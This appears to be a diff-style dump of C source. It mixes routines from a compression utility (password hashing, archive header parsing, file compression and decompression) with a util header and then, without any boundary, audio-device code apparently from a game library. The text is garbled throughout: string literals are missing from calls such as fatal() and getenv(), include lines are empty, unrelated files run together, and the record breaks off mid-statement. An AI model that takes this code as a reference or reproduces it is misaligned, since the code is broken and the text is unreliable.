- if (prompt) print_output(); - get_pass(control, testphrase); - if (prompt) print_output(); - if (strcmp(passphrase, testphrase)) { - print_output(); - goto retry_pass; - } - } - termios_p.c_lflag |= ECHO; - tcsetattr(fileno(stdin), 0, &termios_p); - memset(testphrase, 0, PASS_LEN); - memcpy(control->salt_pass, control->salt, SALT_LEN); - memcpy(control->salt_pass + SALT_LEN, passphrase, PASS_LEN - SALT_LEN); - lrz_stretch(control); - memset(passphrase, 0, PASS_LEN); - munlock(passphrase, PASS_LEN); - munlock(testphrase, PASS_LEN); - dealloc(testphrase); - dealloc(passphrase); - return true; -} - -static void release_hashes(rzip_control * control) { - memset(control->salt_pass, 0, PASS_LEN); - memset(control->hash, 0, HASH_LEN); - munlock(control->salt_pass, PASS_LEN); - munlock(control->hash, HASH_LEN); - dealloc(control->salt_pass); - dealloc(control->hash); -} - -bool get_header_info(rzip_control * control, int fd_in, uchar * ctype, i64 * c_len, i64 * u_len, i64 * last_head, - int chunk_bytes) { - uchar enc_head[25 + SALT_LEN]; - if (ENCRYPT) { - // read in salt - // first 8 bytes, instead of chunk bytes and size - if (unlikely(read(fd_in, enc_head, SALT_LEN) != SALT_LEN)) - fatal(); - } - if (unlikely(read(fd_in, ctype, 1) != 1)) fatal(); - - *c_len = *u_len = *last_head = 0; - /* remove checks for mrzip < 0.6 */ - if (control->major_version == 0) { - // header the same after v 0.4 except for chunk bytes - int read_len; - - read_len = chunk_bytes; - if (unlikely(read(fd_in, c_len, read_len) != read_len)) fatal(); - if (unlikely(read(fd_in, u_len, read_len) != read_len)) fatal(); - if (unlikely(read(fd_in, last_head, read_len) != read_len)) fatal(); - *c_len = le64toh(*c_len); - *u_len = le64toh(*u_len); - *last_head = le64toh(*last_head); - if (ENCRYPT) { - // decrypt header suppressing printing max verbose message - if (unlikely(!decrypt_header(control, enc_head, ctype, c_len, u_len, last_head, LRZ_VALIDATE))) - fatal(); - } - } // control->major_version - return true; -} - -static double percentage(i64 num, i64 den) { - double d_num, d_den; - - if (den < 100) { - d_num = num * 100; - d_den = den; - if (!d_den) d_den = 1; - } else { - d_num = num; - d_den = den / 100; - } - return d_num / d_den; -} - -// If Decompressing or Testing, omit printing, just read file and see if valid -// using construct if (INFO) -// Encrypted files cannot be checked now -bool get_fileinfo(rzip_control * control) { - i64 u_len, c_len, second_last, last_head, utotal = 0, ctotal = 0, ofs, stream_head[2]; - i64 expected_size, infile_size, chunk_size = 0, chunk_total = 0; - int header_length = 0, stream = 0, chunk = 0; - char *tmp, *infilecopy = NULL; - char chunk_byte = 0; - long double cratio, bpb; - uchar ctype = 0; - uchar save_ctype = 255; - struct stat st; - int fd_in; - int lzma_ret; - - // Take out all STDIN checks - struct stat fdin_stat; - - if (unlikely(stat(control->infile, &fdin_stat))) - fatal(, control->infile); - else if (unlikely(!S_ISREG(fdin_stat.st_mode))) - fatal(, control->infile); - else - infilecopy = strdupa(control->infile); - - fd_in = open(infilecopy, O_RDONLY); - if (unlikely(fd_in == -1)) fatal(, infilecopy); - - /* Get file size */ - if (unlikely(fstat(fd_in, &st))) fatal(); - infile_size = st.st_size; - - /* Get decompressed size */ - if (unlikely(!read_magic(control, fd_in, &expected_size))) goto error; - - if (INFO) show_version(control); // show version if not validating - - if (ENCRYPT) { - /* can only show info for current mrzip files */ - if (control->major_version == 0) { - if (!control->salt_pass_len) // Only get password if needed - if (unlikely(!get_hash(control, 0))) return false; - } - } - - /* remove checks for mrzip < 0.6 */ - if (control->major_version == 0) { - if (unlikely(read(fd_in, &chunk_byte, 1) != 1)) fatal(); - if (unlikely(chunk_byte < 1 || chunk_byte > 8)) fatal(, chunk_byte); - if (unlikely(read(fd_in, &control->eof, 1) != 1)) fatal(); - if (!ENCRYPT) { - if (unlikely(read(fd_in, &chunk_size, chunk_byte) != chunk_byte)) - fatal(); - chunk_size = le64toh(chunk_size); - if (unlikely(chunk_size < 0)) fatal(, chunk_size); - /* set header offsets for earlier versions */ - switch (control->minor_version) { - case 9: - ofs = 22 + control->comment_length; /* comment? Add length */ - break; - } - ofs += chunk_byte; - /* header length is the same for non-encrypted files */ - header_length = 1 + (chunk_byte * 3); - } else { /* ENCRYPTED */ - chunk_byte = 8; // chunk byte size is always 8 for encrypted files - chunk_size = 0; // chunk size is unknown with encrypted files - header_length = 33; // 25 + 8 - // salt is first 8 bytes - if (control->major_version == 0) { - switch (control->minor_version) { - case 9: - ofs = 22 + control->comment_length; - break; - default: - fatal(); - break; - } - } - } - } - -next_chunk: - stream = 0; - stream_head[0] = 0; - stream_head[1] = stream_head[0] + header_length; - - if (!ENCRYPT) { - chunk_total += chunk_size; - if (unlikely(chunk_byte && (chunk_byte > 8 || chunk_size <= 0))) fatal(); - } - - if (INFO) { - print_verbose(, ++chunk); - print_verbose(, chunk_byte); - print_verbose(); - if (!ENCRYPT) - print_verbose(, chunk_size); - else - print_verbose(, control->enc_label); - } - while (stream < NUM_STREAMS) { - int block = 1; - - second_last = 0; - if (unlikely(lseek(fd_in, stream_head[stream] + ofs, SEEK_SET) == -1)) - fatal(); - - if (unlikely(!get_header_info(control, fd_in, &ctype, &c_len, &u_len, &last_head, chunk_byte))) return false; - - if (ENCRYPT && ctype != CTYPE_NONE) - fatal(, ctype); - - if (INFO) { - print_verbose(, stream); - print_maxverbose(, stream_head[stream] + ofs); - print_verbose(); - print_maxverbose(); - print_verbose(); - } - do { - i64 head_off; - - if (unlikely(last_head && last_head <= second_last)) - fatal(); - second_last = last_head; - if (!ENCRYPT) { - if (unlikely(last_head + ofs > infile_size)) - fatal(); - } else { - if (unlikely(last_head + ofs + header_length > infile_size)) - fatal(); - } - - if (unlikely((head_off = lseek(fd_in, last_head + ofs, SEEK_SET)) == -1)) - fatal(); - if (unlikely(!get_header_info(control, fd_in, &ctype, &c_len, &u_len, &last_head, chunk_byte))) - return false; - if (unlikely(last_head < 0 || c_len < 0 || u_len < 0)) fatal(); - if (INFO) print_verbose(, block); - if (ctype == CTYPE_NONE) { - if (INFO) print_verbose(); - } else if (ctype == CTYPE_LZ4) { - if (INFO) print_verbose(); - } else if (ctype == CTYPE_LZMA) { - if (INFO) print_verbose(); - } else if (ctype == CTYPE_ZSTD) { - if (INFO) print_verbose(); - } else if (ctype == CTYPE_ZPAQ) { - if (INFO) print_verbose(); - } else if (ctype == CTYPE_BZIP3) { - if (INFO) print_verbose(); - } else - fatal(, ctype); - if (save_ctype == 255) - save_ctype = ctype; /* need this for lzma when some chunks could have no compression - * and info will show rzip + none on info display if last chunk - * is not compressed. Adjust for all types in case it's used in - * the future */ - utotal += u_len; - ctotal += c_len; - if (INFO) { - print_verbose(, percentage(c_len, u_len), c_len, u_len); - print_maxverbose(, head_off, last_head); - print_verbose(); - } - block++; - } while (last_head); - ++stream; - } - - if (unlikely((ofs = lseek(fd_in, c_len, SEEK_CUR)) == -1)) fatal(); - - if (ofs >= infile_size - *control->hash_len) - goto done; - else if (ENCRYPT) - if (ofs + header_length + *control->hash_len > infile_size) goto done; - - /* Chunk byte entry */ - /* remove checks for mrzip < 0.6 */ - if (control->major_version == 0) { - if (!ENCRYPT) { - if (unlikely(read(fd_in, &chunk_byte, 1) != 1)) fatal(); - if (unlikely(chunk_byte < 1 || chunk_byte > 8)) fatal(, chunk_byte); - ofs++; - if (unlikely(read(fd_in, &control->eof, 1) != 1)) fatal(); - if (unlikely(read(fd_in, &chunk_size, chunk_byte) != chunk_byte)) - fatal(); - chunk_size = le64toh(chunk_size); - if (unlikely(chunk_size < 0)) fatal(, chunk_size); - ofs += 1 + chunk_byte; - header_length = 1 + (chunk_byte * 3); - } else { - // ENCRYPTED - // no change to chunk_byte - ofs += 10; - // no change to header_length - } - } - - goto next_chunk; -done: - /* compression ratio and bits per byte ratio */ - cratio = (long double)expected_size / (long double)infile_size; - bpb = ((long double)infile_size / (long double)expected_size) * 8; - if (unlikely(ofs > infile_size)) fatal(); - - if (INFO) { - print_output(); - print_output(, infilecopy, control->major_version, control->minor_version, - ENCRYPT ? ); - if (ENCRYPT) print_output(, control->enc_label); - print_output(); - if (control->comment_length) /* print comment */ - print_output(, control->comment); - - print_output(); - if (save_ctype == CTYPE_NONE) - print_output(); - else if (save_ctype == CTYPE_LZ4) - print_output(); - else if (save_ctype == CTYPE_LZMA) { - print_output(); - } else if (save_ctype == CTYPE_ZSTD) - print_output(); - else if (save_ctype == CTYPE_ZPAQ) { - print_output(); - if (control->zpaq_level) // update magic with zpaq coding. - print_output(, control->zpaq_level, - control->zpaq_bs, (1 << control->zpaq_bs)); - else // early 0.8 or <0.8 file without zpaq coding in magic header - print_output(); - } else if (save_ctype == BZIP3_COMPRESS) { - print_output(, control->bzip3_bs, - control->bzip3_block_size); - } else - print_output(); - - /* only print stored compression level for versions that have it! */ - if (control->compression_level) - print_output(, - control->rzip_compression_level, control->compression_level); - - if (!expected_size) - print_output(, - ENCRYPT ? ); - print_verbose( - - ); - /* If we can't show expected size, tailor output for it */ - if (expected_size) { - print_verbose(, - percentage(utotal, expected_size), utotal, expected_size); - print_verbose(, percentage(ctotal, utotal), - ctotal, utotal); - print_verbose(, - percentage(ctotal, expected_size), ctotal, expected_size); - } else { - print_verbose(); - print_verbose(, percentage(ctotal, utotal), - ctotal, utotal); - print_verbose(); - } - - if (expected_size) { - print_output(, expected_size); - print_output(, infile_size); - print_output(, cratio, bpb); - } else { - print_output(); - print_output(, infile_size); - print_output(); - } - } /* end if (INFO) */ - - if (HAS_HASH) { - uchar * hash_stored; - - int i; - - if (INFO) { - hash_stored = calloc(*control->hash_len, 1); - if (unlikely(lseek(fd_in, -*control->hash_len, SEEK_END) == -1)) - fatal(, control->hash_label); - if (unlikely(read(fd_in, hash_stored, *control->hash_len) != *control->hash_len)) - fatal(, control->hash_label); - if (ENCRYPT) - if (unlikely(!lrz_decrypt(control, hash_stored, *control->hash_len, control->salt_pass, LRZ_VALIDATE))) - fatal(, control->hash_label); - print_output(, control->hash_label); - for (i = 0; i < *control->hash_len; i++) print_output(, hash_stored[i]); - print_output(); - dealloc(hash_stored); - } - } else { - if (INFO) print_output(); - } - -out: - if (unlikely(close(fd_in))) fatal(); - return true; -error: - dealloc(control->outfile); - return false; -} - -/* - compress one file from the command line -*/ -bool compress_file(rzip_control * control) { - const char *tmp, *tmpinfile; /* we're just using this as a proxy for control->infile. - * Spares a compiler warning - */ - int fd_in = -1, fd_out = -1, len = MAGIC_LEN + control->comment_length; - char * header; - - header = calloc(len, 1); - - control->flags |= FLAG_HASHED; - /* allocate result block for selected hash */ - control->hash_resblock = calloc(*control->hash_len, 1); - - if (ENCRYPT) { /* AES 128 now default */ - if (unlikely(!get_hash(control, 1))) return false; - } - - if (!STDIN) { - fd_in = open(control->infile, O_RDONLY); - if (unlikely(fd_in == -1)) fatal(, control->infile); - } else - fd_in = fileno(control->inFILE); - - if (!STDOUT) { - if (control->outname) { - control->outfile = strdup(control->outname); - } else { - /* default output name from control->infile - * test if outdir specified. If so, strip path from filename of - * control->infile - */ - if (control->outdir && (tmp = strrchr(control->infile, '/'))) - tmpinfile = tmp + 1; - else - tmpinfile = control->infile; - - control->outfile = malloc((control->outdir == NULL ? 0 : strlen(control->outdir)) + strlen(tmpinfile) + - strlen(control->suffix) + 1); - if (unlikely(!control->outfile)) fatal(); - - if (control->outdir) { /* prepend control->outdir */ - strcpy(control->outfile, control->outdir); - strcat(control->outfile, tmpinfile); - } else - strcpy(control->outfile, tmpinfile); - strcat(control->outfile, control->suffix); - // print_progress(, control->outfile); - // Not needed since printed at end of decompression - } - - if (!strcmp(control->infile, control->outfile)) - fatal(, control->infile); - - fd_out = open(control->outfile, O_RDWR | O_CREAT | O_EXCL, 0666); - if (FORCE_REPLACE && (-1 == fd_out) && (EEXIST == errno)) { - if (unlikely(unlink(control->outfile))) fatal(, control->outfile); - fd_out = open(control->outfile, O_RDWR | O_CREAT | O_EXCL, 0666); - } - if (unlikely(fd_out == -1)) { - /* We must ensure we don't delete a file that already - * exists just because we tried to create a new one */ - control->flags |= FLAG_KEEP_BROKEN; - fatal(, control->outfile); - } - control->fd_out = fd_out; - if (!STDIN) { - if (unlikely(!preserve_perms(control, fd_in, fd_out))) goto error; - } - } else { - if (unlikely(!open_tmpoutbuf(control))) goto error; - } - - /* Write zeroes to header at beginning of file */ - if (unlikely(!STDOUT && write(fd_out, header, len) != len)) fatal(); - - rzip_fd(control, fd_in, fd_out); - - /* need to write magic after compression for expected size */ - if (!STDOUT) { - if (unlikely(!write_magic(control))) goto error; - } - - if (ENCRYPT) release_hashes(control); - - if (unlikely(!STDIN && !STDOUT && !preserve_times(control, fd_in))) { - fatal(); - goto error; - } - - if (unlikely(close(fd_in))) { - fatal(); - fd_in = -1; - goto error; - } - if (unlikely(!STDOUT && close(fd_out))) fatal(); - if (TMP_OUTBUF) close_tmpoutbuf(control); - - if (!KEEP_FILES && !STDIN) { - if (unlikely(unlink(control->infile))) fatal(, control->infile); - } - - dealloc(control->outfile); - dealloc(control->hash_resblock); - dealloc(header); - return true; -error: - dealloc(header); - if (!STDIN && (fd_in > 0)) close(fd_in); - if ((!STDOUT) && (fd_out > 0)) close(fd_out); - return false; -} - -/* - decompress one file from the command line -*/ -bool decompress_file(rzip_control * control) { - char *tmp, *tmpoutfile, *infilecopy = NULL; - int fd_in, fd_out = -1, fd_hist = -1; - i64 expected_size = 0, free_space; - struct statvfs fbuf; - - if (!STDIN) { - struct stat fdin_stat; - infilecopy = strdupa(control->infile); - if (unlikely(stat(infilecopy, &fdin_stat))) - fatal(, control->infile); - else if (unlikely(!S_ISREG(fdin_stat.st_mode))) - fatal(); - /* regardless, infilecopy has the input filename */ - } - - if (!STDOUT && !TEST_ONLY) { - /* if output name already set, use it */ - if (control->outname) - control->outfile = strdup(control->outname); - else { - /* default output name from infilecopy - * test if outdir specified. If so, strip path from filename of - * infilecopy, then remove suffix. - */ - if (control->outdir && (tmp = strrchr(infilecopy, '/'))) - tmpoutfile = strdupa(tmp + 1); - else - tmpoutfile = strdupa(infilecopy); - - /* remove suffix to make outfile name */ - if ((tmp = strrchr(tmpoutfile, '.')) && !strcmp(tmp, control->suffix)) *tmp = '\0'; - - control->outfile = malloc((control->outdir == NULL ? 0 : strlen(control->outdir)) + strlen(tmpoutfile) + 1); - if (unlikely(!control->outfile)) fatal(); - - if (control->outdir) { /* prepend control->outdir */ - strcpy(control->outfile, control->outdir); - strcat(control->outfile, tmpoutfile); - } else - strcpy(control->outfile, tmpoutfile); - } - - if (!STDOUT) print_progress(, control->outfile); - - if (unlikely(!strcmp(control->outfile, infilecopy))) { - control->flags |= FLAG_TEST_ONLY; // stop and no more decompres or deleting files. - fatal(); - } - } - - if (STDIN) { - fd_in = open_tmpinfile(control); - read_tmpinmagic(control, fd_in); - if (ENCRYPT) fatal(); - expected_size = control->st_size; - if (unlikely(!open_tmpinbuf(control))) return false; - } else { - fd_in = open(infilecopy, O_RDONLY); - if (unlikely(fd_in == -1)) { - fatal(, infilecopy); - } - } - control->fd_in = fd_in; - - if (!(TEST_ONLY || STDOUT)) { - fd_out = open(control->outfile, O_WRONLY | O_CREAT | O_EXCL, 0666); - if (FORCE_REPLACE && (-1 == fd_out) && (EEXIST == errno)) { - if (unlikely(unlink(control->outfile))) fatal(, control->outfile); - fd_out = open(control->outfile, O_WRONLY | O_CREAT | O_EXCL, 0666); - } - if (unlikely(fd_out == -1)) { - /* We must ensure we don't delete a file that already - * exists just because we tried to create a new one */ - control->flags |= FLAG_KEEP_BROKEN; - fatal(, control->outfile); - } - fd_hist = open(control->outfile, O_RDONLY); - if (unlikely(fd_hist == -1)) fatal(, control->outfile); - - /* Can't copy permissions from STDIN */ - if (!STDIN) - if (unlikely(!preserve_perms(control, fd_in, fd_out))) return false; - } else { - fd_out = open_tmpoutfile(control); - if (fd_out == -1) { - fd_hist = -1; - } else { - fd_hist = open(control->outfile, O_RDONLY); - if (unlikely(fd_hist == -1)) fatal(, control->outfile); - /* Unlink temporary file as soon as possible */ - if (unlikely(unlink(control->outfile))) fatal(, control->outfile); - } - } - - // check for STDOUT removed. In memory compression speedup. No memory leak. - if (unlikely(!open_tmpoutbuf(control))) return false; - - if (!STDIN) { - if (unlikely(!read_magic(control, fd_in, &expected_size))) return false; - if (unlikely(expected_size < 0)) fatal(, expected_size); - } - - if (!STDOUT) { - /* Check if there's enough free space on the device chosen to fit the - * decompressed or test file. */ - if (unlikely(fstatvfs(fd_out, &fbuf))) fatal(); - free_space = (i64)fbuf.f_bsize * (i64)fbuf.f_bavail; - if (free_space < expected_size) { - if (FORCE_REPLACE && !TEST_ONLY) - print_err( - - ); - else - fatal( PRId64 - , - TEST_ONLY ? , expected_size, free_space, - TEST_ONLY ? ); - } - } - control->fd_out = fd_out; - control->fd_hist = fd_hist; - - show_version(control); - - if (NO_HASH) print_verbose(); - if (HAS_HASH) - print_verbose(, control->hash_label); - else - print_verbose(); - print_verbose(); - - control->hash_resblock = calloc(*control->hash_len, 1); - - if (ENCRYPT && !control->salt_pass_len) { // Only get password if needed - if (unlikely(!get_hash(control, 0))) return false; - print_maxverbose(, control->encloops); - if (!INFO) print_verbose(, control->enc_label); - } - - // vailidate file on decompression or test - if (STDIN) - print_err(); - else { - print_progress(); - if (unlikely((get_fileinfo(control)) == false)) - fatal(); - print_progress(); - if (!VERBOSE) print_progress(); // output LF to prevent overwriing decompression output - } - show_version(control); // show version here to preserve output formatting - print_progress(); - - if (unlikely(runzip_fd(control, fd_in, fd_out, fd_hist, expected_size) < 0)) { - clear_rulist(control); - return false; - } - - /* We can now safely delete sinfo and pthread data of all threads - * created. */ - clear_rulist(control); - - if (STDOUT && !TMP_OUTBUF) { - if (unlikely(!dump_tmpoutfile(control, fd_out))) return false; - } - - /* if we get here, no fatal_return(( errors during decompression */ - print_progress(); - if (!(STDOUT || TEST_ONLY)) print_progress(, control->outfile); - if (!expected_size) expected_size = control->st_size; - if (!ENCRYPT) - print_progress(, expected_size); - else - print_progress(); - - if (TMP_OUTBUF) close_tmpoutbuf(control); - - if (fd_out > 0) - if (unlikely(close(fd_hist) || close(fd_out))) fatal(); - - if (unlikely(!STDIN && !STDOUT && !TEST_ONLY && !preserve_times(control, fd_in))) return false; - - if (!STDIN) close(fd_in); - - if (!KEEP_FILES && !STDIN) - if (unlikely(unlink(control->infile))) fatal(, infilecopy); - - if (ENCRYPT) release_hashes(control); - - dealloc(control->outfile); - dealloc(control->hash_resblock); - return true; -} - -bool initialise_control(rzip_control * control) { - time_t now_t, tdiff; - char localeptr[] = , *eptr; /* for environment. OR Default to /tmp if none set */ - size_t len; - - memset(control, 0, sizeof(rzip_control)); - control->locale = ; /* empty string for default locale */ - control->msgout = stderr; - control->msgerr = stderr; - register_outputfile(control, control->msgout); - control->flags = FLAG_SHOW_PROGRESS | FLAG_KEEP_FILES | FLAG_THRESHOLD; - control->filter_flag = 0; /* filter flag. Default to none */ - control->compression_level = 7; /* compression level default */ - control->rzip_compression_level = - 0; /* rzip compression level default will equal compression level unless explicitly set */ - control->ramsize = get_ram(control); /* if something goes wrong, exit from get_ram */ - control->threshold = 100; /* default for no threshold limiting */ - /* for testing single CPU */ - control->threads = PROCESSORS; /* get CPUs for LZMA */ - control->page_size = PAGE_SIZE; - control->nice_val = 19; - - /* The first 5 bytes of the salt is the time in seconds. - * The next 2 bytes encode how many times to hash the password. - * The last 9 bytes are random data, making 16 bytes of salt */ - if (unlikely((now_t = time(NULL)) == ((time_t)-1))) fatal(); - if (unlikely(now_t < T_ZERO)) { - print_output(); - now_t = T_ZERO; - } - /* Workaround for CPUs no longer keeping up with Moore's law! - * This way we keep the magic header format unchanged. */ - tdiff = (now_t - T_ZERO) / 4; - now_t = T_ZERO + tdiff; - control->secs = now_t; - control->encloops = nloops(control->secs, control->salt, control->salt + 1); - gcry_create_nonce(control->salt + 2, 6); - - /* Get Temp Dir. Try variations on canonical unix environment variable */ - eptr = getenv(); - if (!eptr) eptr = getenv(); - if (!eptr) eptr = getenv(); - if (!eptr) eptr = getenv(); - if (!eptr) eptr = localeptr; - len = strlen(eptr); - - control->tmpdir = malloc(len + 2); - if (control->tmpdir == NULL) fatal(); - strcpy(control->tmpdir, eptr); - if (control->tmpdir[len - 1] != '/') { - control->tmpdir[len] = '/'; /* need a trailing slash */ - control->tmpdir[len + 1] = '\0'; - } - - /* just in case, set pointers for hash and encryptions */ - - return true; -} - -#ifndef MRZIP_UTIL_H -#define MRZIP_UTIL_H - -#include -#include -#include +#include +#include +#include +#include +#include #include -#include -#include - -#include - -void register_infile(rzip_control * control, const char * name, char delete); -void register_outfile(rzip_control * control, const char * name, char delete); -void unlink_files(rzip_control * control); -void register_outputfile(rzip_control * control, FILE * f); -noreturn void fatal_exit(rzip_control * control); -void setup_overhead(rzip_control * control); -void setup_ram(rzip_control * control); -void round_to_page(i64 * size); -size_t round_up_page(rzip_control * control, size_t len); -bool read_config(rzip_control * control); -void lrz_stretch(rzip_control * control); -bool lrz_crypt(const rzip_control * control, uchar * buf, i64 len, const uchar * salt, int encrypt); -bool decrypt_header(rzip_control * control, uchar * head, uchar * c_type, i64 * c_len, i64 * u_len, i64 * last_head, - int decompress_type); - -static inline noreturn void fatal(const rzip_control * control, unsigned int line, const char * file, const char * func, - const char * format, ...) { - va_list ap; - /* mrzip library callback code removed */ - va_start(ap, format); - vfprintf(stderr, format, ap); - va_end(ap); - fatal_exit((rzip_control *)control); -} -#ifdef fatal - #undef fatal -#endif -#define fatal(...) fatal(control, __LINE__, __FILE__, __func__, __VA_ARGS__) - -static inline bool lrz_encrypt(const rzip_control * control, uchar * buf, i64 len, const uchar * salt) { - return lrz_crypt(control, buf, len, salt, LRZ_ENCRYPT); -} - -static inline bool lrz_decrypt(const rzip_control * control, uchar * buf, i64 len, const uchar * salt, - int dec_or_validate) { - return lrz_crypt(control, buf, len, salt, dec_or_validate); -} - -/* ck specific wrappers for true unnamed semaphore usage on platforms - * that support them and for apple which does not. We use a single byte across - * a pipe to emulate semaphore behaviour there. */ -#ifdef __APPLE__ -static inline void cksem_init(const rzip_control * control, cksem_t * cksem) { - int flags, fd, i; - - if (pipe(cksem->pipefd) == -1) fatal(, errno); - - /* Make the pipes FD_CLOEXEC to allow them to close should we call - * execv on restart. */ - for (i = 0; i < 2; i++) { - fd = cksem->pipefd[i]; - flags = fcntl(fd, F_GETFD, 0); - flags |= FD_CLOEXEC; - if (fcntl(fd, F_SETFD, flags) == -1) fatal(, errno); - } -} - -static inline void cksem_post(const rzip_control * control, cksem_t * cksem) { - const char buf = 1; - int ret; - - ret = write(cksem->pipefd[1], &buf, 1); - if (unlikely(ret == 0)) fatal(, errno); -} - -static inline void cksem_wait(const rzip_control * control, cksem_t * cksem) { - char buf; - int ret; - - ret = read(cksem->pipefd[0], &buf, 1); - if (unlikely(ret == 0)) fatal(, errno); -} -#else -static inline void cksem_init(const rzip_control * control, cksem_t * cksem) { - int ret; - if ((ret = sem_init(cksem, 0, 0))) fatal(, ret, errno); -} - -static inline void cksem_post(const rzip_control * control, cksem_t * cksem) { - if (unlikely(sem_post(cksem))) fatal(, errno, cksem); -} - -static inline void cksem_wait(const rzip_control * control, cksem_t * cksem) { - if (unlikely(sem_wait(cksem))) fatal(, errno, cksem); -} -#endif - -#endif -//---------------------------------------------------------------------------------- -// Module specific Functions Declaration -//---------------------------------------------------------------------------------- -static void OnLog(void *pUserData, ma_uint32 level, const char *pMessage); -static void OnSendAudioDataToDevice(ma_device *pDevice, void *pFramesOut, const void *pFramesInput, ma_uint32 frameCount); -static void MixAudioFrames(float *framesOut, const float *framesIn, ma_uint32 frameCount, AudioBuffer *buffer); - -#if defined(RAUDIO_STANDALONE) -static bool IsFileExtension(const char *fileName, const char *ext); // Check file extension -static const char *GetFileExtension(const char *fileName); // Get pointer to extension for a filename string (includes the dot: .png) - -static unsigned char *LoadFileData(const char *fileName, int *dataSize); // Load file data as byte array (read) -static bool SaveFileData(const char *fileName, void *data, int dataSize); // Save data to file from byte array (write) -static bool SaveFileText(const char *fileName, char *text); // Save text data to file (write), string must be '\0' terminated -#endif - -//---------------------------------------------------------------------------------- -// AudioBuffer management functions declaration -// NOTE: Those functions are not exposed by raylib... for the moment -//---------------------------------------------------------------------------------- -AudioBuffer *LoadAudioBuffer(ma_format format, ma_uint32 channels, ma_uint32 sampleRate, ma_uint32 sizeInFrames, int usage); -void UnloadAudioBuffer(AudioBuffer *buffer); - -bool IsAudioBufferPlaying(AudioBuffer *buffer); -void PlayAudioBuffer(AudioBuffer *buffer); -void StopAudioBuffer(AudioBuffer *buffer); -void PauseAudioBuffer(AudioBuffer *buffer); -void ResumeAudioBuffer(AudioBuffer *buffer); -void SetAudioBufferVolume(AudioBuffer *buffer, float volume); -void SetAudioBufferPitch(AudioBuffer *buffer, float pitch); -void SetAudioBufferPan(AudioBuffer *buffer, float pan); -void TrackAudioBuffer(AudioBuffer *buffer); -void UntrackAudioBuffer(AudioBuffer *buffer); - -//---------------------------------------------------------------------------------- -// Module Functions Definition - Audio Device initialization and Closing -//---------------------------------------------------------------------------------- -// Initialize audio device -void InitAudioDevice(void) -{ - // Init audio context - ma_context_config ctxConfig = ma_context_config_init(); - ma_log_callback_init(OnLog, NULL); - - ma_result result = ma_context_init(NULL, 0, &ctxConfig, &AUDIO.System.context); - if (result != MA_SUCCESS) - { - TRACELOG(LOG_WARNING, ); - return; - } - - // Init audio device - // NOTE: Using the default device. Format is floating point because it simplifies mixing. - ma_device_config config = ma_device_config_init(ma_device_type_playback); - config.playback.pDeviceID = NULL; // NULL for the default playback AUDIO.System.device. - config.playback.format = AUDIO_DEVICE_FORMAT; - config.playback.channels = AUDIO_DEVICE_CHANNELS; - config.capture.pDeviceID = NULL; // NULL for the default capture AUDIO.System.device. - config.capture.format = ma_format_s16; - config.capture.channels = 1; - config.sampleRate = AUDIO_DEVICE_SAMPLE_RATE; - config.dataCallback = OnSendAudioDataToDevice; - config.pUserData = NULL; - - result = ma_device_init(&AUDIO.System.context, &config, &AUDIO.System.device); - if (result != MA_SUCCESS) - { - TRACELOG(LOG_WARNING, ); - ma_context_uninit(&AUDIO.System.context); - return; - } - - // Mixing happens on a separate thread which means we need to synchronize. I'm using a mutex here to make things simple, but may - // want to look at something a bit smarter later on to keep everything real-time, if that's necessary. - if (ma_mutex_init(&AUDIO.System.lock) != MA_SUCCESS) - { - TRACELOG(LOG_WARNING, ); - ma_device_uninit(&AUDIO.System.device); - ma_context_uninit(&AUDIO.System.context); - return; - } - - // Keep the device running the whole time. May want to consider doing something a bit smarter and only have the device running - // while there's at least one sound being played. - result = ma_device_start(&AUDIO.System.device); - if (result != MA_SUCCESS) - { - TRACELOG(LOG_WARNING, ); - ma_device_uninit(&AUDIO.System.device); - ma_context_uninit(&AUDIO.System.context); - return; - } - - AUDIO.System.isReady = true; -} - -// Close the audio device for all contexts -void CloseAudioDevice(void) -{ - if (AUDIO.System.isReady) - { - ma_mutex_uninit(&AUDIO.System.lock); - ma_device_uninit(&AUDIO.System.device); - ma_context_uninit(&AUDIO.System.context); - - AUDIO.System.isReady = false; - RL_FREE(AUDIO.System.pcmBuffer); - AUDIO.System.pcmBuffer = NULL; - AUDIO.System.pcmBufferSize = 0; - - TRACELOG(LOG_INFO, ); - } - else TRACELOG(LOG_WARNING, ); -} - -// Check if device has been initialized successfully -bool IsAudioDeviceReady(void) -{ - return AUDIO.System.isReady; -} - -// Set master volume (listener) -void SetMasterVolume(float volume) -{ - ma_device_set_master_volume(&AUDIO.System.device, volume); -} - -// Get master volume (listener) -float GetMasterVolume(void) -{ - float volume = 0.0f; - ma_device_get_master_volume(&AUDIO.System.device, &volume); - return volume; -} - -//---------------------------------------------------------------------------------- -// Module Functions Definition - Audio Buffer management -//---------------------------------------------------------------------------------- - -// Initialize a new audio buffer (filled with silence) -AudioBuffer *LoadAudioBuffer(ma_format format, ma_uint32 channels, ma_uint32 sampleRate, ma_uint32 sizeInFrames, int usage) -{ - AudioBuffer *audioBuffer = (AudioBuffer *)RL_CALLOC(1, sizeof(AudioBuffer)); - - if (audioBuffer == NULL) - { - TRACELOG(LOG_WARNING, ); - return NULL; - } - - if (sizeInFrames > 0) audioBuffer->data = RL_CALLOC(sizeInFrames*channels*ma_get_bytes_per_sample(format), 1); - - // Audio data runs through a format converter - ma_data_converter_config converterConfig = ma_data_converter_config_init(format, AUDIO_DEVICE_FORMAT, channels, AUDIO_DEVICE_CHANNELS, sampleRate, AUDIO.System.device.sampleRate); - converterConfig.allowDynamicSampleRate = true; - - ma_result result = ma_data_converter_init(&converterConfig, NULL, &audioBuffer->converter); - - if (result != MA_SUCCESS) - { - TRACELOG(LOG_WARNING, ); - RL_FREE(audioBuffer); - return NULL; - } - - // Init audio buffer values - audioBuffer->volume = 1.0f; - audioBuffer->pitch = 1.0f; - audioBuffer->pan = 0.5f; - - audioBuffer->callback = NULL; - audioBuffer->processor = NULL; - - audioBuffer->playing = false; - audioBuffer->paused = false; - audioBuffer->looping = false; - - audioBuffer->usage = usage; - audioBuffer->frameCursorPos = 0; - audioBuffer->sizeInFrames = sizeInFrames; - - // Buffers should be marked as processed by default so that a call to - // UpdateAudioStream() immediately after initialization works correctly - audioBuffer->isSubBufferProcessed[0] = true; - audioBuffer->isSubBufferProcessed[1] = true; - - // Track audio buffer to linked list next position - TrackAudioBuffer(audioBuffer); - - return audioBuffer; -} - -// Delete an audio buffer -void UnloadAudioBuffer(AudioBuffer *buffer) -{ - if (buffer != NULL) - { - ma_data_converter_uninit(&buffer->converter, NULL); - UntrackAudioBuffer(buffer); - RL_FREE(buffer->data); - RL_FREE(buffer); - } -} - -// Check if an audio buffer is playing -bool IsAudioBufferPlaying(AudioBuffer *buffer) -{ - bool result = false; - - if (buffer != NULL) result = 